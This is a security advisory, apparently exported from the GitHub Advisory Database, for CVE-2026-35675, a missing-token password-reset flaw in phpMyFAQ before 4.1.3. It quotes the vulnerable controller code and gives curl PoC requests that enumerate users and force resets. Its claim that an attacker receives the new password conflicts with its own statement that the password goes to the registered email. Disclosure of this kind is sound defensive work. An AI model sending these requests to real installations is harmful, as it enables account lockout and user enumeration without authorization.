thorsten/phpmyfaq
Affected
- introduced
0, fixed4.1.3(ecosystem)
Fixed versions
4.1.3
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-35675
phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration
Summary
An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php
Lines: 56-130
The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:
#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]
public function updatePassword(Request $request): JsonResponse
{
$data = json_decode($request->getContent());
$username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
$email = trim((string) Filter::filterEmail($data->email));
if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
$user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
$loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) {
// NO TOKEN CHECK
// NO RATE LIMITING
// NO EMAIL VERIFICATION
$newPassword = $user->createPassword();
$user->changePassword($newPassword);
$mail->send(); // New password sent in plaintext
}
}
}
Root Causes:
PoC
Prerequisites: None (unauthenticated attack)
Step 1 - Username/Email Enumeration (no rate limiting):
Test with wrong email - reveals if user exists
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"error":"The email doesn't exist..."} <- user exists but wrong email
OR
Response: {"error":"The user doesn't exist"} <- user doesn't exist
Step 2 - Password Reset (no token required):
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"success":"Email has been sent."}
The new plaintext password is sent to [email protected]
Step 3 - Account Takeover:
Attacker now has valid credentials and can log in as SuperAdmin.
Impact
Aspect Details
Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640)
Attack Vector Network (unauthenticated HTTP request)
Privileges Required None
User Interaction None
Scope Full administrative access to phpMyFAQ
Confidentiality High - attacker gains full access to all user data and FAQ content
Integrity High - attacker can modify all content and settings
Availability High - attacker can lock out legitimate users
Who is Impacted:
Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address
High Basis: The source's own band: HIGH
0, fixed 4.1.3 (ecosystem)4.1.3
The export has no generic command for this ecosystem.
0, fixed 4.1.3 (ecosystem)4.1.3
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0